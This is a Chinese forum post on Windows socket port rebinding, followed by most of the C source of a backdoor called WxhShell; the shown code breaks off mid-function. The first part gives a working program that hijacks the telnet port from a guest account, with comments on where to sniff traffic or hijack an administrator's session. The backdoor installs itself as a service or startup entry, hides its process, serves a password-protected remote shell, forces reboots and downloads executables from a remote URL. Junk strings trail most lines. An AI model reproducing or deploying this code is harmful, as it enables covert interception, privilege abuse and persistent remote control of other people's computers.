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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x#:| }pR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7 x<i :x3  
- |gmQG  
  saddr.sin_family = AF_INET; 7VP32Eh[  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); k!{p7*0  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); eY e,r  
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  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,UuH}E  
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  这意味着什么?意味着可以进行如下的攻击: 3)RsLI9  
vY_-Ranj#.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZWS`\M  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KI+VXH}Y5{  
,GgAsj: K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 L31|\x]  
M %Qt|@O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   E6WA}_  
x|vqNZ\F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z:_D0jG  
.rf" (lM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y8DhOlewQ  
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  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 BXyo  
% $DI^yS  
  #include @62Mk},9 c  
  #include & j+oJasI  
  #include KSrx[q  
  #include    -ne Kuj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   uDZT_c'Y  
  int main() c}0@2Vf  
  { 7t*"%]o  
  WORD wVersionRequested; ZGd!IghL  
  DWORD ret; 9rA=pH%<>B  
  WSADATA wsaData; -xP!"  
  BOOL val; 4f;HQ-Iv  
  SOCKADDR_IN saddr; RZCq{|L  
  SOCKADDR_IN scaddr; pf7it5  
  int err; G2FXrkU  
  SOCKET s; J^g!++|2P  
  SOCKET sc; |.3DD"*  
  int caddsize; T|6a("RL  
  HANDLE mt; &sd}ulEg`  
  DWORD tid;   Tq4-wE+  
  wVersionRequested = MAKEWORD( 2, 2 ); W='> :H  
  err = WSAStartup( wVersionRequested, &wsaData ); U,.![TP  
  if ( err != 0 ) { n9xAPB }  
  printf("error!WSAStartup failed!\n"); tmtT (  
  return -1; s S7c!  
  } vZBc !AW  
  saddr.sin_family = AF_INET; [r[ =W!  
   -bU oCF0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;I!MLI  
jXMyPNTK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >MvDVPi~+  
  saddr.sin_port = htons(23); >HS W]"k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N~xLu8,  
  { X ' "SVO.  
  printf("error!socket failed!\n"); pLzk   
  return -1; PKzyV ;  
  } j+ LawW-  
  val = TRUE; J`^I./  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 oo.2Dn6z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }O4^Cc6  
  { `9b7>Nn<  
  printf("error!setsockopt failed!\n"); fP `b>]N_  
  return -1; 1N>|yQz  
  } I'0@viF"Nx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9uQ 4u/F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b 'pOJS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J>bJ 449B  
UCClWr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,9o"43D:a|  
  { dB5b@9*  
  ret=GetLastError(); ok4@N @  
  printf("error!bind failed!\n"); 1{r)L{]  
  return -1; RSfzRnhmr  
  } h|"9LU4a  
  listen(s,2); oGRhnP'PF+  
  while(1) [ra_ 2R  
  { G-.^O,%  
  caddsize = sizeof(scaddr); 5EebPXBzB  
  //接受连接请求 $+I;oHWI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^~A>8CQOU  
  if(sc!=INVALID_SOCKET) n;T7=1_"  
  { UZpIcj cL  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a)'5Nw9*  
  if(mt==NULL) %&Q$dzgb_  
  { ~7zGI\= P@  
  printf("Thread Creat Failed!\n"); _&b4aW9<  
  break; 4sT88lG4n  
  } Z7?~S2{c  
  } '`uwJ&@  
  CloseHandle(mt); y)@[Sl>  
  } :65~[$2  
  closesocket(s);  W0]gLw9*  
  WSACleanup(); 5qP:/*+  
  return 0; ZXuv CI  
  }   %GS(:]{n  
  DWORD WINAPI ClientThread(LPVOID lpParam) #: [<iSk  
  { Uh):b%bS;J  
  SOCKET ss = (SOCKET)lpParam; 9 o&`5  
  SOCKET sc; a,WICv0E  
  unsigned char buf[4096]; L');!/:  
  SOCKADDR_IN saddr; &E=>Hj(dTG  
  long num; UaB @  
  DWORD val; N/K.%<h  
  DWORD ret; 9B7^lR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SV~~Q_U9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   PJL=$gBgKk  
  saddr.sin_family = AF_INET; S :<Nc{C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Gnq?"</  
  saddr.sin_port = htons(23); } =]M2}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  _ "VkGG  
  { e!=kWc  
  printf("error!socket failed!\n"); 4Q6mo/=H  
  return -1; d*%`!G  
  } $H9%J  
  val = 100; J:zU,IIJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PIwFF}<(  
  { Y*vW!yu  
  ret = GetLastError(); f__cn^1  
  return -1; d! LE{  
  } De(Hw& IV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Nqa&_5"  
  {  q;][5  
  ret = GetLastError(); :dQ B R  
  return -1; Z Z:}AQ  
  } ]33>m|?@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?}U(3  
  { "\o+v|;  
  printf("error!socket connect failed!\n"); )j0TeE1R  
  closesocket(sc); In<n&ib  
  closesocket(ss); m~-K[+ya`D  
  return -1; n+A?"`6*#  
  } &RnTzqv  
  while(1) qtQ6cq Ld  
  { u*ObwcI/Bn  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ''\O v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z*= $8 e@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x?2@9u8Yb  
  num = recv(ss,buf,4096,0); ;CPr]avY  
  if(num>0) 'g m0)r  
  send(sc,buf,num,0); A"G 1^8wvX  
  else if(num==0) Yd=>K HVD  
  break; sEGO2xeI  
  num = recv(sc,buf,4096,0); .@@?Pj?)  
  if(num>0) ^!<BQP7  
  send(ss,buf,num,0); L"4mL,  
  else if(num==0) h1B16)  
  break; r[b(I@T +  
  } <#u=[_H  
  closesocket(ss); 9vGu0Um  
  closesocket(sc); to DG7XN}  
  return 0 ; D)m5  
  } M$>1L  
UVd7 JGR  
U<_3^  
========================================================== J:V6  
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下边附上一个代码,,WXhSHELL K k-S}.E  
0dGAP  
========================================================== e'~J,(fB  
5?3Me59  
#include "stdafx.h" UJ CYs`y  
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#include <stdio.h> 2[O&NdP\Zk  
#include <string.h> /2=#t-p+  
#include <windows.h> {pnS  Q  
#include <winsock2.h> 3@M|m<_R$  
#include <winsvc.h> ,0~n3G  
#include <urlmon.h> }}\vV}s  
C8 xZ;V]  
#pragma comment (lib, "Ws2_32.lib") LIvFx|  
#pragma comment (lib, "urlmon.lib") H1QJ k_RL  
8TLgNQP  
#define MAX_USER   100 // 最大客户端连接数 z6jc8Z=O  
#define BUF_SOCK   200 // sock buffer 4'a=pnE$  
#define KEY_BUFF   255 // 输入 buffer p8h9Ng* &`  
2ZG5<"DQ"  
#define REBOOT     0   // 重启 [f1 (`<  
#define SHUTDOWN   1   // 关机 oPXkYW  
m g4nrr\  
#define DEF_PORT   5000 // 监听端口 r0+6evU2  
ToXki,  
#define REG_LEN     16   // 注册表键长度 di6QVRj1  
#define SVC_LEN     80   // NT服务名长度 3L_\`Ia9  
rA5=dJ"I  
// 从dll定义API U |Jo{(Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YkniiB[/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ND>r#(_\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &U5{Hm9Ynr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G IT>L  
WJkZ!O$"j  
// wxhshell配置信息 V )x$|!(  
struct WSCFG { !Wy6/F@Z  
  int ws_port;         // 监听端口 vY${;#~|  
  char ws_passstr[REG_LEN]; // 口令 naYrpK,.  
  int ws_autoins;       // 安装标记, 1=yes 0=no beRVD>T  
  char ws_regname[REG_LEN]; // 注册表键名 lOuHVa*}  
  char ws_svcname[REG_LEN]; // 服务名 pb ~u E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :(!` /#6H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %|g>%D3Z?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]B%v+uaW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Jq&uF*!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H%UL%l$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 im9G,e  
Q<^Tl(`/N?  
}; '_w=k 4  
jkiFLtB@V  
// default Wxhshell configuration K1r#8Q!t  
struct WSCFG wscfg={DEF_PORT, 5NS[dQG5  
    "xuhuanlingzhe", VY;{/.Sa  
    1, !`g~F\l  
    "Wxhshell", F)&@P-9+  
    "Wxhshell", 5iz{op<$,  
            "WxhShell Service", 3DiLk=\~  
    "Wrsky Windows CmdShell Service", wQP^WzNE  
    "Please Input Your Password: ", e vrXo"3  
  1, [S HXJ4P*  
  "http://www.wrsky.com/wxhshell.exe", }=gx#  
  "Wxhshell.exe" \O*-#}~\  
    }; TcjEcMw,  
/'].lp  
// 消息定义模块 ^)(bM$(`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~P8tUhffK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bJRN;g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 66/3|83Z  
char *msg_ws_ext="\n\rExit."; 5][Ztx  
char *msg_ws_end="\n\rQuit."; 5R@  
char *msg_ws_boot="\n\rReboot..."; \`oT#|0  
char *msg_ws_poff="\n\rShutdown..."; 0B@SN)<kH  
char *msg_ws_down="\n\rSave to "; iOR_[y,  
PP;}e  
char *msg_ws_err="\n\rErr!"; +BVym~*^  
char *msg_ws_ok="\n\rOK!"; zLD0RBj7p  
zVXC1u9B  
char ExeFile[MAX_PATH]; Ir`eL  
int nUser = 0; xy5lE+E_U  
HANDLE handles[MAX_USER]; ,&j hlZ i  
int OsIsNt; J pFfzb  
96 q_ K84K  
SERVICE_STATUS       serviceStatus; M m[4yP%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8oUpQcim  
UDL!43K  
// 函数声明 !c}O5TI|#  
int Install(void); Hyb3 ;yQ  
int Uninstall(void); _/uFsYC  
int DownloadFile(char *sURL, SOCKET wsh); K/tRe/t }  
int Boot(int flag); u<3HQ.:;  
void HideProc(void); OMWbZ>jB  
int GetOsVer(void); !V"<U2  
int Wxhshell(SOCKET wsl); y4*U6+#.  
void TalkWithClient(void *cs); [5zx17'  
int CmdShell(SOCKET sock); _,xc[ 07  
int StartFromService(void); ? WF/|/  
int StartWxhshell(LPSTR lpCmdLine); ?o oe'V@  
b8V~S'6VqO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c(:f\Wc3Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^T ?RK "p  
WFO4gB*  
// 数据结构和表定义 Av xfI"sp  
SERVICE_TABLE_ENTRY DispatchTable[] = 9:ze{ c $  
{ ^* J2'X38I  
{wscfg.ws_svcname, NTServiceMain}, g .onTFwN  
{NULL, NULL} )2V:  
}; 73V|6tmgY  
h\5OrD@L  
// 自我安装 kSR\RuY*  
int Install(void) lDOCmdt@N  
{ w8kOVN2b  
  char svExeFile[MAX_PATH]; Fs{x(_LOr  
  HKEY key; &j4xgh9  
  strcpy(svExeFile,ExeFile); v%"|WV[N  
"}pNe"ok  
// 如果是win9x系统,修改注册表设为自启动 y.WEj?EL  
if(!OsIsNt) { 4 !y%O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LXbP 2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^Wc@oa`  
  RegCloseKey(key); -j73Wz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'NX```U0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /LO -HnJ  
  RegCloseKey(key); {$R' WXVs  
  return 0; fb{`` ,nO  
    } Q$HG  
  } Q^ pmQ  
} -7S g62THS  
else { LL2=&VK  
QA<Jr5Ys  
// 如果是NT以上系统,安装为系统服务 XmEq2v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i%/Jp[e\W>  
if (schSCManager!=0) LG<J;&41~S  
{ J@4Bf  
  SC_HANDLE schService = CreateService xYmxc9)2  
  ( ,=Mt`aN  
  schSCManager, |QU <e  
  wscfg.ws_svcname, } \XfH  
  wscfg.ws_svcdisp, `}mcEl  
  SERVICE_ALL_ACCESS, K Pt5=a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , byT h/H  
  SERVICE_AUTO_START, Olh<,p+x  
  SERVICE_ERROR_NORMAL, /4g1zrU  
  svExeFile, " f "6]y  
  NULL, o| #Qu8Lk  
  NULL, c )G3k/T5  
  NULL, 4WJ.^(  
  NULL, cFeXpj?GV  
  NULL yls ^cyX  
  ); v#.r.{t  
  if (schService!=0) '=Rs/EDME  
  { z"0I>gl  
  CloseServiceHandle(schService); 8Le||)y,\  
  CloseServiceHandle(schSCManager); (>r[- Bft  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Cq%IE^g<  
  strcat(svExeFile,wscfg.ws_svcname); #wV8X`g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B)qWtMZx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;~D)~=|ZZ  
  RegCloseKey(key); ;\=M; Zt  
  return 0; ~S8*t~  
    } P*I}yPeb  
  } DP3PYJ%+B  
  CloseServiceHandle(schSCManager); i[?Vin  
} *XT/KxLa7  
} Y*H|?uNF  
0a}u;gt,4w  
return 1; {&\jW!&n  
} l]8D7(g  
w-Da~[J  
// 自我卸载 !*oi!ysU;O  
int Uninstall(void) bT^I"  
{ 'H \9:7  
  HKEY key; J2 'Nd'  
>D(RYI  
if(!OsIsNt) { A'jP7 P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { { S3ZeN,kZ  
  RegDeleteValue(key,wscfg.ws_regname); %F-ZN^R  
  RegCloseKey(key); xwJH(_-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^yyC [Mz  
  RegDeleteValue(key,wscfg.ws_regname); M#As0~y  
  RegCloseKey(key); *=+td)S/1  
  return 0; %*`J k#W:  
  } gx\&_) w N  
} e^<#53!  
} )6|yb65ZUX  
else { "CUty"R 8  
3td)'}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }^/9G17  
if (schSCManager!=0) gG-BVl"59  
{ J|w\@inQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n~A%q,DmF  
  if (schService!=0) 2\7`/,U6  
  { pO ml8SQf  
  if(DeleteService(schService)!=0) { z#]Jv!~EPE  
  CloseServiceHandle(schService); ;S57w1PbVA  
  CloseServiceHandle(schSCManager); &:, dJ  
  return 0; jF=gr$  
  } 1Dv R[Lx%  
  CloseServiceHandle(schService); $+>M{fg?  
  } WC.t_"@  
  CloseServiceHandle(schSCManager); 1rkE yh??  
} B:!W$ <  
} Z(Bp 0a  
~[\_N\rm  
return 1; XI22+@d6  
} IFDZfx  
'+$EhFwD  
// 从指定url下载文件 }lfnnK#  
int DownloadFile(char *sURL, SOCKET wsh) 8erSt!oM  
{ .h>8@5/s  
  HRESULT hr; IuNiEtKx  
char seps[]= "/"; [$ejp>'Ud  
char *token; yp66{o  
char *file; {3.r6ZwCn  
char myURL[MAX_PATH]; OU/MiyP2  
char myFILE[MAX_PATH]; >]W)'lnO  
> 3&: 5  
strcpy(myURL,sURL); Kwg4sr5"D  
  token=strtok(myURL,seps); ,=|ZB4HA  
  while(token!=NULL) QoG cWJ  
  { *{y K 8  
    file=token; ^d~1E Er  
  token=strtok(NULL,seps); 2EfF=Fm>  
  } XwlbJ=mf  
JXu$ew>q  
GetCurrentDirectory(MAX_PATH,myFILE); ui@2s;1t  
strcat(myFILE, "\\"); tPGJ<30  
strcat(myFILE, file); ^",ACWF4Sk  
  send(wsh,myFILE,strlen(myFILE),0); =Q[b'*o7  
send(wsh,"...",3,0); &d5ia+ #  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GF5^\Rf  
  if(hr==S_OK) ea~:}!-P  
return 0; W~p/,HcM  
else ltD37QZQ  
return 1; &bp=`=*  
HjGyj/78w  
} 9> g,  
Ko/ I#)  
// 系统电源模块 gF5a5T,  
int Boot(int flag) |)K]U  
{ S-'fS2  
  HANDLE hToken; %0mMz.f  
  TOKEN_PRIVILEGES tkp; C,pJ`:P  
"eWYv3z~-  
  if(OsIsNt) { *r$+&8V\n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hw-Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Kbb78S30  
    tkp.PrivilegeCount = 1; e4z1`YLsG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k!KDWb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8-Hsgf.*  
if(flag==REBOOT) { 3:f[gV9K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #zR bx  
  return 0; .^m>AKC0cX  
} ryc& n5  
else { "n=vN<8(o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n]u<!.X  
  return 0; yH<$k^0r*  
} EgDQ+( -  
  } H=\!2XS  
  else { )5.C]4jol  
if(flag==REBOOT) { L:k9# 6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %O<%UmR  
  return 0; 8B#GbS K  
} M!tXN&V]  
else { A?oXqb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !Y:0c#MPH  
  return 0; gt7VxZ  
} ]Bm>-*@0N  
} W(Uu@^  
C^z\([k0er  
return 1; 4j!]:ra  
} XK5<Tg  
6Kj'Zy VL  
// win9x进程隐藏模块 rX;Ys2vQ*  
void HideProc(void) bI y sl  
{ DtEwW1J  
$L2%u8}8:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nxJee=qH  
  if ( hKernel != NULL ) o8Z[+;  
  { u^j {U}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MCP "GZK6W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `W-&0|%Ta  
    FreeLibrary(hKernel); f(eQ+0D  
  } pMJ1v  
.y&QqxiE  
return; \G2B?>E;  
} P@]8pIB0d^  
LjH*rjS4  
// 获取操作系统版本 i"j(b|?e  
int GetOsVer(void) pW]4bx@E  
{ gXH[$guf  
  OSVERSIONINFO winfo; kGUJ9Du  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vw)7 !/#  
  GetVersionEx(&winfo); :Yj) CGl$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \i[BP  
  return 1; \bx~*FaX  
  else 3s>'hn  
  return 0; "z*:'8;E  
} ?~QIALA  
U5]pi+r  
// 客户端句柄模块 t nS+5F  
int Wxhshell(SOCKET wsl) _7D_72  
{ jkF8\dR  
  SOCKET wsh; :EtMH(  
  struct sockaddr_in client; '>v^6i S  
  DWORD myID; =U. b% uC  
(LtkA|:  
  while(nUser<MAX_USER) bhs(Qzx  
{ &|<xqt  
  int nSize=sizeof(client); YUdxG/~'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NA.1QQ ;e  
  if(wsh==INVALID_SOCKET) return 1; 6UE(f@  
CZEW-PIhj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ItX5JV)  
if(handles[nUser]==0) (#oycj^<  
  closesocket(wsh); ;_:Ool,  
else a0*2) uL}  
  nUser++; [Lp,Hqi5  
  } ^MmC$U^n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %Z8vdU#l  
M]-VHI[&W  
  return 0; K{l5m{:%  
} S }>n1F_  
cMzkL%  
// 关闭 socket M/*NM= -a  
void CloseIt(SOCKET wsh) ^<0IB#dA  
{ b%t+,0s|  
closesocket(wsh); u7;~  
nUser--; ba3-t;S  
ExitThread(0); &l}?v@@+_  
} )n=ARDd^e  
T#O??3/%$1  
// 客户端请求句柄 jvVi%k  
void TalkWithClient(void *cs) b8f+,2Tk  
{ htPqT,L  
YGsS4ia*4i  
  SOCKET wsh=(SOCKET)cs; m/`IGT5J  
  char pwd[SVC_LEN]; fRm}S>Nibb  
  char cmd[KEY_BUFF]; p[WX'M0f  
char chr[1]; y>\S@I  
int i,j; F pt-V  
&&L"&Rc  
  while (nUser < MAX_USER) { ,eQ[Fi!!  
:ZxLJK9x1  
if(wscfg.ws_passstr) { 'xFYUU]#T^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -s$<Op{s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }xlKonk  
  //ZeroMemory(pwd,KEY_BUFF); +@VYs*&&  
      i=0; y5 m!*=`l`  
  while(i<SVC_LEN) { H0*5_OJ!i  
x "(9II*  
  // 设置超时 T ^JuZG  
  fd_set FdRead; FXo2Y]K3`L  
  struct timeval TimeOut; 5% nt0dc  
  FD_ZERO(&FdRead); 50a\e  
  FD_SET(wsh,&FdRead); 7?)/>lx\>$  
  TimeOut.tv_sec=8; a-n4:QT  
  TimeOut.tv_usec=0; {Ts:ZI+ 8d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^^(<c,NX#M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;5 <-)  
tLcEl'Eo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uG>nV  
  pwd=chr[0]; gUB{Bh($Y  
  if(chr[0]==0xd || chr[0]==0xa) { K%}}fw2RMN  
  pwd=0; Y(GN4@`S  
  break; |xr32g s  
  } i9UI,b%X  
  i++; LNQSb4  
    } wUi(3g|A  
-cNx1et  
  // 如果是非法用户,关闭 socket gY`Nr!O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U '[?9/T  
} 1h"_[`L'  
][Y^-Ak1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SvK1.NUa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )Mzt3u  
 d^39t4  
while(1) { ]Qi,j#X  
=:h3w#_c  
  ZeroMemory(cmd,KEY_BUFF); R V!o4"\]  
Z{{ t^+XG  
      // 自动支持客户端 telnet标准   ,m07p~,V  
  j=0; S2$5!(P  
  while(j<KEY_BUFF) { .#^0pv!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xKp0r1}  
  cmd[j]=chr[0]; |0{ i9 .=  
  if(chr[0]==0xa || chr[0]==0xd) { -Gsl[Rc0H;  
  cmd[j]=0; j"<Y!Y3  
  break; NMjnL&P`  
  } 0 15Owi  
  j++; ~SV Q;U)-  
    } /aUFc'5  
7tH]*T9e>  
  // 下载文件 {e]NU<G ,  
  if(strstr(cmd,"http://")) { ,VD6s !(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <<3+g"enno  
  if(DownloadFile(cmd,wsh)) 2ALj}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kqB\xlS7k  
  else Ku3!*n_\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kj*m r%IaU  
  } 4`mO+.za1  
  else { Rlw9$/D!Z  
PO ko]@~!i  
    switch(cmd[0]) { a'[)9:  
  X9'xn 0n;  
  // 帮助 s!h5hwBY  
  case '?': { J5T=!wF (  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]+IVSxa!u  
    break; "2h5m4  
  } A9BxwQU#  
  // 安装 @;9()ad  
  case 'i': { xbC~ C~#  
    if(Install()) *1;23BiH-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #J+\DhDEPO  
    else uFe'$vI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?~qC,N[  
    break; rh$1-Y  
    } 6=>7M b$  
  // 卸载 k.Zll,s  
  case 'r': { ?"@ET9  
    if(Uninstall()) }%{=].)L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (G5T%[/U  
    else vug-n 8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~yN(-I1P  
    break; ChIoR:y>  
    } e<'U8|}hc{  
  // 显示 wxhshell 所在路径 *?Wtj  
  case 'p': { =mJ F_Ri  
    char svExeFile[MAX_PATH]; DS 1JF  
    strcpy(svExeFile,"\n\r"); #v qz{R~nM  
      strcat(svExeFile,ExeFile); uAb 03Q  
        send(wsh,svExeFile,strlen(svExeFile),0); A;%kl`~iyz  
    break; oWcACs3fB  
    } yGV{^?yoP  
  // 重启  3Vu8F"  
  case 'b': { CTU9~~Xk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s<{GpWT8  
    if(Boot(REBOOT)) zMU68vwM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pSrsp r  
    else { h]C2 8=N  
    closesocket(wsh); =n }Yqny  
    ExitThread(0); f)tc4iV  
    } t/LgHb:)  
    break; 7sN0`7  
    } w?;b7i  
  // 关机 g!`BXmW  
  case 'd': { l-=e62I{=|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E<a.LW@  
    if(Boot(SHUTDOWN)) (q k5f`O  
